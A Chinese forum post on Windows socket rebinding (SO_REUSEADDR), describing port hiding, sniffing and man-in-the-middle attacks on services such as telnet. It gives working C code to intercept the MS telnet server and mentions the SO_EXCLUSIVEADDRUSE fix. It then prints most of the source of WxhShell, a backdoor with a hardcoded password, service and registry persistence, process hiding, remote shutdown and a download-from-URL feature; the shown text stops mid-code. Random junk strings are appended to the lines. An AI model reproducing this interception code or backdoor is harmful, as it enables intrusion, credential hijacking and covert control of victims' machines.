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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *(c><N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )2lzPK t  
#}y(D{zc  
  saddr.sin_family = AF_INET; P/9iB/  
 v7Q=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6xfG`7Az  
f3bZ*G%f  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B`I9  
fG{ 9doUD  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d]bM,`K* 6  
H6fR6Kr4j  
  这意味着什么?意味着可以进行如下的攻击: 85fv])\y  
7"|j.Yq$H{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 J|Af`HJ  
=A yDVWpE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 335\0~;3  
]Sl]G6#Iwv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 IJnh@?BC  
+xGz~~iNh  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4=b{k,kzgA  
97XGJ1HI  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4pkTOQq_tQ  
P. V #  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 qjc8$#zXS  
qYi<GI*|@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 gr&Rkuyfv  
<;T$?J9  
  #include {\87]xJ  
  #include Hf^Tok^6@]  
  #include z'9Mg]&>  
  #include    cag9f?w@V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0nX.%2p#Je  
  int main() ;?-`n4B&  
  { VOmWRy"L  
  WORD wVersionRequested; JE[+  
  DWORD ret; 1Vden.H*CI  
  WSADATA wsaData; *CnrzrKtQ  
  BOOL val; ohy?l  
  SOCKADDR_IN saddr; jT6zpi~]E  
  SOCKADDR_IN scaddr; @X\2K?c(v  
  int err; T@. $Zpz  
  SOCKET s; q1d'L *   
  SOCKET sc; q^.\8zFf  
  int caddsize; GiF})e}  
  HANDLE mt; qUW>qi,  
  DWORD tid;   vU|.Gw  
  wVersionRequested = MAKEWORD( 2, 2 ); %uVbI'n)  
  err = WSAStartup( wVersionRequested, &wsaData ); dE[_]2];P  
  if ( err != 0 ) { m{ya%F  
  printf("error!WSAStartup failed!\n"); ^Z 9v_qB  
  return -1; =z]8;<=pL  
  } JW`Kh*,~<  
  saddr.sin_family = AF_INET; 4 Ii@_r>  
   XIrNT:h4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &;V3[ *W"  
IdvBQ [Gj  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); x>$! R\Cj  
  saddr.sin_port = htons(23); YflotlT}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1V@\L|Y  
  { cv'Fc  
  printf("error!socket failed!\n"); INHN=KY{  
  return -1; o}iqLe\  
  } s\-^vj3  
  val = TRUE; N$j I&SI?}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [xVE0l*\   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  ;7F|g  
  { H$ sNp\[{  
  printf("error!setsockopt failed!\n"); 4]\t6,Cz8  
  return -1; 9hG+?   
  } YBX7WZCR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; JKFV7{ %Gl  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 rCmxv7" a}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8J- ;/  
!Qg%d&q.Sx  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;[_w&"[6a  
  { )~](qLSl  
  ret=GetLastError(); ^1%gQ@P  
  printf("error!bind failed!\n"); , yC-QFQE  
  return -1; p2=Sbb  
  } 1qs~[7{C1  
  listen(s,2); $=97M.E  
  while(1) E"[^^<I  
  { Wv   
  caddsize = sizeof(scaddr); [|sKu#yW  
  //接受连接请求 b=#3p  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;5*)kX  
  if(sc!=INVALID_SOCKET) !6wbg  
  { G0^O7w^5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  MRB>(}  
  if(mt==NULL) + njE  
  { ;'Pi(TA)  
  printf("Thread Creat Failed!\n"); n ^T_pqV?X  
  break; TwZvz[u  
  } qdn\8Pn  
  } dwc$?Bg,5  
  CloseHandle(mt); YLlw:jN  
  } }G8RJxy  
  closesocket(s); 5T[9|zJs  
  WSACleanup(); 328(W  
  return 0; ':7%@2Zo  
  }   Q7y6</4f  
  DWORD WINAPI ClientThread(LPVOID lpParam) -S=Zsr\  
  { HA{-XPAWZ  
  SOCKET ss = (SOCKET)lpParam; 6, Q{/  
  SOCKET sc; %Km_Sy[7']  
  unsigned char buf[4096]; dkV%Pyj  
  SOCKADDR_IN saddr; n\2VrUQ)M  
  long num; cLQvzd:h=  
  DWORD val; /~_Cb= 7  
  DWORD ret; YkcX#>,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;3n0 bKDY  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   dt"[5;_P`  
  saddr.sin_family = AF_INET; VA _O0y2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5L<}u` 0J  
  saddr.sin_port = htons(23); h(;qnV'c  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o8P 5C4y  
  { uP/WRQ{rW>  
  printf("error!socket failed!\n"); jl<rxO?-F  
  return -1; Rk PY@>  
  } s0Ii;7fA{  
  val = 100; &)vX7*j  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (8s]2\/Ar  
  { r\Wp\LfY&{  
  ret = GetLastError(); j$*]'s&_hZ  
  return -1; -Uz xs5Zl  
  } +a&-'`7g  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h^P>pI~  
  { %PG::b  
  ret = GetLastError(); y(:hN)  
  return -1; sBIqee'T  
  } 0EM`,?i .Q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #R|M(Z">q  
  { laM0W5  
  printf("error!socket connect failed!\n"); g1\4Jb  
  closesocket(sc); u[U~`*i*rA  
  closesocket(ss); do{#y*B/g!  
  return -1; nzDS  
  } G'( %8\  
  while(1) 6|#^4D)  
  { f8! PeQ?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l;L&ijTQD  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 oll~|J^sg  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )_T[thf]  
  num = recv(ss,buf,4096,0); v&(X& q  
  if(num>0) 2 G_*Pqc  
  send(sc,buf,num,0); a#1LGH7E8  
  else if(num==0) qH6DZ|  
  break; h*hV  
  num = recv(sc,buf,4096,0); yXNE2K  
  if(num>0) pFSVSSQRV|  
  send(ss,buf,num,0); <Ebkb3_  
  else if(num==0) hQBeM7$F_  
  break; 0$,Ag;"^?  
  }  Be2@9  
  closesocket(ss); Ms(;B*  
  closesocket(sc); kq:,}fc;B  
  return 0 ; 9B'l+nP  
  } b]s=Uv#)  
mW 5L;>  
w;' F;j~  
========================================================== ;,'!  
~GfcI:Zz&  
下边附上一个代码,,WXhSHELL <uL?7P  
'oTcx Jx  
========================================================== NV;5T3  
|Xd[%W)  
#include "stdafx.h" z$-/yT"M  
,I=Cl mR  
#include <stdio.h> $X9Ban]  
#include <string.h> (k M\R|  
#include <windows.h> Xr M[8a  
#include <winsock2.h> v%&f00  
#include <winsvc.h> C3 0b}2  
#include <urlmon.h> iTD}gC  
P1 (8foZA  
#pragma comment (lib, "Ws2_32.lib") > Q@*o  
#pragma comment (lib, "urlmon.lib") (eJr-xZ/  
$t 1]w]}d  
#define MAX_USER   100 // 最大客户端连接数 dqUhp_f2qK  
#define BUF_SOCK   200 // sock buffer F4 Ft~:a  
#define KEY_BUFF   255 // 输入 buffer U3lr<(r*  
|i?AtOt@f  
#define REBOOT     0   // 重启 p`1d'n[  
#define SHUTDOWN   1   // 关机 |gxU;"2`5~  
Xk]5*C]6<  
#define DEF_PORT   5000 // 监听端口 .2 UUU\/5  
~A8lvuw3  
#define REG_LEN     16   // 注册表键长度 vG\]xM'u  
#define SVC_LEN     80   // NT服务名长度 w}NgFrL  
A i9*w?C  
// 从dll定义API Eg-b5Z);  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #Opfc8pm'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FPMhHHM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4,s: G.g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'cw0FpQ;  
<l wI|<  
// wxhshell配置信息 q9WdJ!-^X  
struct WSCFG { RO wbzA)]r  
  int ws_port;         // 监听端口 "XC6 l4Z  
  char ws_passstr[REG_LEN]; // 口令 H gNUr5p  
  int ws_autoins;       // 安装标记, 1=yes 0=no h#]}J}si  
  char ws_regname[REG_LEN]; // 注册表键名 ; tvB{s_  
  char ws_svcname[REG_LEN]; // 服务名 OM!ES%c,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  Kz3u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &O0+\A9tP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z8Dn<h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !kASEjFz|f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .&@|)u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >w j7Y`  
jI;bVG  
}; O|y-nAZgU  
tO[+O=d  
// default Wxhshell configuration GetUCb%1  
struct WSCFG wscfg={DEF_PORT, nZ\,ZqV  
    "xuhuanlingzhe", aE#ZTc=  
    1,  h *%T2  
    "Wxhshell", 7U.g4x|<  
    "Wxhshell",  N%r}0  
            "WxhShell Service", 7=QV^G  
    "Wrsky Windows CmdShell Service", D<++6HN&#  
    "Please Input Your Password: ", Mh+'f 93  
  1, >j`*-(`2fa  
  "http://www.wrsky.com/wxhshell.exe", i;)g0}x`  
  "Wxhshell.exe" 0BaL!^>  
    }; j{U-=[$'  
'R]Z9h  
// 消息定义模块 M5ZWcD.1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q`$QroZT"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MqoQs{x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E=QL4*?   
char *msg_ws_ext="\n\rExit."; g=U?{<8.m  
char *msg_ws_end="\n\rQuit."; X'?v8\mPK  
char *msg_ws_boot="\n\rReboot..."; -'}iK6  
char *msg_ws_poff="\n\rShutdown..."; /WHhwMc!  
char *msg_ws_down="\n\rSave to "; p Hg8(ru|  
lh#GD"^(w&  
char *msg_ws_err="\n\rErr!"; wkJB5i^<w  
char *msg_ws_ok="\n\rOK!"; GV[%P  
_L$)~},cT  
char ExeFile[MAX_PATH]; =r-Wy.a@  
int nUser = 0; Cg{$$&_(Hj  
HANDLE handles[MAX_USER]; qsk71L  
int OsIsNt; er#we=h  
\o % ES  
SERVICE_STATUS       serviceStatus; r`B+ KQ4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t91CxZQ^s  
f2yv7t T   
// 函数声明 =]zPUzr,|  
int Install(void); --^D)n  
int Uninstall(void); rXm!3E6JL  
int DownloadFile(char *sURL, SOCKET wsh); }?fa+FQGp  
int Boot(int flag); ~36c0 =  
void HideProc(void); *(>$4$9n  
int GetOsVer(void); 8V|-BP5^  
int Wxhshell(SOCKET wsl); zf o.S[R@  
void TalkWithClient(void *cs); _-!6@^+  
int CmdShell(SOCKET sock); CIaabn  
int StartFromService(void); 6wu/6DO   
int StartWxhshell(LPSTR lpCmdLine); ]@8=e'V  
hYWWvJ)S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T=R94  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &9ZIf#R  
H~G=0_S  
// 数据结构和表定义 ^@19cU?q  
SERVICE_TABLE_ENTRY DispatchTable[] = =OHDp7GXO>  
{ h{JVq72R  
{wscfg.ws_svcname, NTServiceMain}, ^|K*lI/  
{NULL, NULL} ?x[>g!r  
}; kW:!$MX!  
-{7N]q)}  
// 自我安装 &&y@/<t  
int Install(void) =[jBOx&  
{ zp9 ?Ia  
  char svExeFile[MAX_PATH]; o>*{5>#k'  
  HKEY key; ]_pL79y  
  strcpy(svExeFile,ExeFile); -[`W m7en  
5:PZ=jPR  
// 如果是win9x系统,修改注册表设为自启动 8/F2V?iT  
if(!OsIsNt) { R|M:6]}   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nWl0R=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $U0(%lIU  
  RegCloseKey(key); MnS"M[y3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @'rO=(-b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); % (.PRRI  
  RegCloseKey(key); 3PEs$m9e  
  return 0; *AA1e}R{B  
    } #rC/y0niH  
  } GbE3 :;JI  
} vOj$-A--qU  
else { d{trO;%#f  
dog,vUu  
// 如果是NT以上系统,安装为系统服务 7, 4x7!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :_H88/?RR  
if (schSCManager!=0) *&PgDAQ  
{ UetmO`qju  
  SC_HANDLE schService = CreateService zSH#j RDV  
  ( x!jhWX  
  schSCManager, Lf:Z (Z>  
  wscfg.ws_svcname, ?yU#'`q  
  wscfg.ws_svcdisp, a;zcAeX  
  SERVICE_ALL_ACCESS, avz 4 &  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8`~]9ej  
  SERVICE_AUTO_START, Tc*PDt0C  
  SERVICE_ERROR_NORMAL, k^]~NP  
  svExeFile, ;i:7E#@  
  NULL, p4Y 9$(X  
  NULL, ,-"]IR!,w  
  NULL, C;ye%&g>  
  NULL, W9D)QIqbvW  
  NULL lm\u(3_ $  
  ); K%k,-  
  if (schService!=0) 4<Y?#bm'  
  { [y:LA ~q  
  CloseServiceHandle(schService); \'KzSkC8  
  CloseServiceHandle(schSCManager); `WT7w']NT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \[&]kPcDl  
  strcat(svExeFile,wscfg.ws_svcname); ')aYkO{%sb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X<{m;T `  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &Xav$6+Z1J  
  RegCloseKey(key); Ll`apKr  
  return 0; $d=lDN  
    } DNy)\+[  
  } 8B+uNN~%]  
  CloseServiceHandle(schSCManager);  ?.s*)n  
} cjW]Nw  
} [Wh 43Z  
;$i'A&)OC  
return 1; )/JC.d#  
} HHYcFoJwYN  
Kv7NCpq'  
// 自我卸载 ivq4/Y] -X  
int Uninstall(void) pDLo`F}A  
{ 0>`69&;g|  
  HKEY key; MI}D%n*  
qSd $$L^  
if(!OsIsNt) { t|m3b~Oyv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r:cUAe7#  
  RegDeleteValue(key,wscfg.ws_regname); 1:t>}[Y  
  RegCloseKey(key); m+=!Z|K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S`G\Cd;5  
  RegDeleteValue(key,wscfg.ws_regname); xpk|?/6  
  RegCloseKey(key); {;zPW!G  
  return 0; \) ;rOqh  
  } 4Rn i7qH  
} vn<S"  
} rBf?kDt6l  
else { Ydx5kUJV<  
;k8}D*?8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MlZ`g,{  
if (schSCManager!=0) cOQy|v`KD,  
{ nM`)`!/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A M2M87{t  
  if (schService!=0) Exr7vL  
  { 7E95"B&w  
  if(DeleteService(schService)!=0) { B (falmXJ  
  CloseServiceHandle(schService); ||V:',#,W  
  CloseServiceHandle(schSCManager); -eMRxa>  
  return 0; FScQS.qF  
  } ?>Aff`dHY  
  CloseServiceHandle(schService); KB = z{g  
  } ]YP?bP,:  
  CloseServiceHandle(schSCManager); tp<VOUa  
} [P/gM3*'  
} v(iUo&Ge  
v,&2 !Zv  
return 1; sFQ|lU"n  
} 3_$eQ`AAA  
Ub,unU  
// 从指定url下载文件 "}! rM6 h  
int DownloadFile(char *sURL, SOCKET wsh) F 4/Uu"J:  
{ R=PzR;8  
  HRESULT hr; ^ne8~ ;Q  
char seps[]= "/"; 7,TWCVap  
char *token; ~|rkt`8p  
char *file; jGn^<T\  
char myURL[MAX_PATH]; nlW&(cH  
char myFILE[MAX_PATH]; 0,/x#  
&iZYBa  
strcpy(myURL,sURL); kdC OcJB  
  token=strtok(myURL,seps); s /M~RB!w  
  while(token!=NULL) \0h/~3  
  { kP$g l|  
    file=token; 37xxVbik  
  token=strtok(NULL,seps); kg@h R}  
  } [Jo TWouNU  
WFP\;(YV  
GetCurrentDirectory(MAX_PATH,myFILE); cAS_?"V a  
strcat(myFILE, "\\"); 0K ?(xB  
strcat(myFILE, file); YHYB.H)  
  send(wsh,myFILE,strlen(myFILE),0); {O) &5  
send(wsh,"...",3,0); W#j,{&KVn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h>:RCpC  
  if(hr==S_OK) 1 1CJT  
return 0; / JB4#i7  
else l{9h8]^  
return 1; )_cv}.xe  
@ WaYU  
} K*$#D1hG  
<q\) o_tH  
// 系统电源模块 N_D+d4@  
int Boot(int flag) 2(Uz9!<V  
{ 2 -aYqMmT;  
  HANDLE hToken; sv"mba.J  
  TOKEN_PRIVILEGES tkp; M%xL K7  
#~;8#!X  
  if(OsIsNt) { AF]!wUKxy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S:/RYT"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /Ph&:n\4  
    tkp.PrivilegeCount = 1; "Q{~Bj~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'V#ew\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N?0y<S ?!  
if(flag==REBOOT) { :-La $I>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4rG 7\  
  return 0; 1m;*fs  
} ,hLSRj{  
else { V(LFH9.Mp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .A)Un/k7  
  return 0; v&2@<I>  
} SzX~;pFM0  
  } *`Xx_   
  else { }Y`<(V5:  
if(flag==REBOOT) { bpa O`[*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]31XX=  
  return 0; Xe;(y "pR  
} 8Ql'(5|T  
else { -WvgK"k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e8mbEC(AK  
  return 0; ^!o}>ls['  
} {$YD-bqY  
} F LI8r:  
p''"E$B/(  
return 1;  F'FZ?*a  
}  x9"4vp  
|qcFmy  
// win9x进程隐藏模块 l/zC##1+.  
void HideProc(void) P<!$A  
{ (%yc5+f!  
!]+Z%ed`%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5!jNL~M  
  if ( hKernel != NULL ) 6F.7Ws <  
  { nDB 2>J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1]Q 2qs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #0hNk%X=  
    FreeLibrary(hKernel); "%''k~UD 4  
  } ?%/u/*9rj  
X2dc\v.x  
return; ^y0C5Bl;  
} [Cj)@OC  
?7MwTi8{F  
// 获取操作系统版本 92]ZiL?k  
int GetOsVer(void) {lTxB'W@d  
{ )|y2Q  
  OSVERSIONINFO winfo; L'XdX\5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |F@xwfgb  
  GetVersionEx(&winfo); x X/s1(P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "lz[zFnO  
  return 1; cPsn]U  
  else '&:1?i)  
  return 0; ( *>/w$%  
} 30 [#%_* o  
{&=qM!2e  
// 客户端句柄模块 wp %FM  
int Wxhshell(SOCKET wsl) wK'!xH^  
{ OssR[$69  
  SOCKET wsh; TT2cOw  
  struct sockaddr_in client; fA_%8CjI  
  DWORD myID; =Y/fF  
pq[X)]z|  
  while(nUser<MAX_USER) W .`Xm(y  
{ Zfy~mv$  
  int nSize=sizeof(client); zf3:<CRX5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Va@6=U7c  
  if(wsh==INVALID_SOCKET) return 1; Ft;u\KT  
.blft,'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /8>0; bX+  
if(handles[nUser]==0) =vr Y{5!>  
  closesocket(wsh); a,'Ncg  
else {(z(NgXG/  
  nUser++; UM( l%  
  } jc&/}o$K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w^])(  
qfG tUkSSb  
  return 0; 6`qr:.  
} Q:kVCm/;  
i&pJg1  
// 关闭 socket >bA$SN  
void CloseIt(SOCKET wsh) UiR,^/8ED  
{ /MKNv'5&!%  
closesocket(wsh); 0SMQDs5j  
nUser--; w3=)S\  
ExitThread(0); FL`1yD^2  
} O~h94 B`  
(D>y6r> r  
// 客户端请求句柄 XpgV09.EE  
void TalkWithClient(void *cs) | 7 m5P@X  
{ _}zo /kDA  
z$c&=Q  
  SOCKET wsh=(SOCKET)cs; gX$0[ sIS.  
  char pwd[SVC_LEN]; 4e+BqCriC*  
  char cmd[KEY_BUFF]; *5y W  
char chr[1]; n{64g+  
int i,j; V~T`&  
'<%Nw-  
  while (nUser < MAX_USER) { "*w)puD  
j,=*WG  
if(wscfg.ws_passstr) { ?""\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F_nZvv[H?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t=Z&eKDC  
  //ZeroMemory(pwd,KEY_BUFF); T9z4W]T  
      i=0; fW.GNX8  
  while(i<SVC_LEN) { ,@Fgr(?'`>  
p@/(.uE  
  // 设置超时 Ht|",1yr+  
  fd_set FdRead; $N;"}G z  
  struct timeval TimeOut; >*`>0Q4y  
  FD_ZERO(&FdRead); w%3Fg~Up  
  FD_SET(wsh,&FdRead); ?7yQ&p  
  TimeOut.tv_sec=8; jby~AJf %  
  TimeOut.tv_usec=0; /M^V 2=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'Aj(i/CM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s(AJkO'`  
|66m` <  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fJLf7+q  
  pwd=chr[0]; -`!_h[   
  if(chr[0]==0xd || chr[0]==0xa) { B2~f;zy`  
  pwd=0; h; 'W :P  
  break; F0&~ ?2nG  
  } )L |tn  
  i++; bZ>&QM  
    } YH[XRUa  
{*QvC g?  
  // 如果是非法用户,关闭 socket Opv1B2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +_qh)HX  
} ytjK++(T5  
H\^VqNK"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rI0)F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rIeM+h7Wn  
:E>&s9Yj?  
while(1) { rH9uGm-*  
Hp\Ddx >Jd  
  ZeroMemory(cmd,KEY_BUFF); V@vhj R4r\  
eo1&.FQu  
      // 自动支持客户端 telnet标准   XzT78  
  j=0; IQ3n@  
  while(j<KEY_BUFF) { @Ex;9F,Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); })@tA<+  
  cmd[j]=chr[0]; n{dP@_>WS  
  if(chr[0]==0xa || chr[0]==0xd) { - <J q  
  cmd[j]=0; 4~O6$;!|~  
  break; Zc-#;/b3T  
  } GAv)QZyV$  
  j++; S8O)/Sg=  
    } TdQ ]G2  
b.#^sm//  
  // 下载文件 8rFaW  
  if(strstr(cmd,"http://")) { J?C k4dQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6nh]*/  
  if(DownloadFile(cmd,wsh)) X[V?T>jsM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Tcz[$?  
  else 2;:lK":  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {Q)dU-\  
  } ^:qD.h>&  
  else { NMXnrvS&  
hUVk54~l  
    switch(cmd[0]) { i{8]'fM  
  16I&7=S,  
  // 帮助 '!!e+\h#  
  case '?': { Sv7 i! j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Mx8Gu^FW.d  
    break; On=u#DxQ  
  } DU;[btK>  
  // 安装 I*Vt,JYx  
  case 'i': { %N )e91wC  
    if(Install()) VCjq3/[_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B &?fM~J  
    else *4t-e0]j@w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wW-Ab  
    break; *=Doe2(!C  
    }  "Y7+{  
  // 卸载 {AOG"T&<  
  case 'r': { f'&GFL=c  
    if(Uninstall()) YMT8p\ #rp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f`9JE8  
    else ,j y<o+!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M;*$gV<x  
    break; GuT6K}~|D  
    } X~lZOVmS  
  // 显示 wxhshell 所在路径 #e/2C  
  case 'p': { T|ZF/&XP  
    char svExeFile[MAX_PATH]; :c y >c2  
    strcpy(svExeFile,"\n\r"); Go1(@  
      strcat(svExeFile,ExeFile); eJ)1K  
        send(wsh,svExeFile,strlen(svExeFile),0); RU0i#suiz  
    break; YZ+>\ x  
    } 6B#('gxO  
  // 重启 \eQ la8s  
  case 'b': { Q"%QQo}}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Okpwh kPL5  
    if(Boot(REBOOT)) CM9XPr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |QVr `tE<  
    else { !tU'J"Zy  
    closesocket(wsh); !6H uFf  
    ExitThread(0); f])M04<  
    } o~#f1$|Xn  
    break; 0x@A~!MoP  
    } p* RC  
